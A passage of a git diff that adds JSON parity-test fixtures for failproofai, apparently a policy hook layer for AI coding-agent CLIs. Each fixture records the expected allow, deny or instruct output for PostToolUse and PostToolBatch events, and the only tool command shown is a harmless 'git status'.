"decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5d35ea0d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e5d666cc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3dd3e573 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..cca7de19 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f597d8b0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4bdfbc7c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..292bc9e8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7ed1ba95 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4ef30153 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..448e293b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..aca596fb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9b5e4765 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b91277f7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..fa033391 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c1bba82f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2a3f8a31 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ae4f5fad --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d805c2c6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": 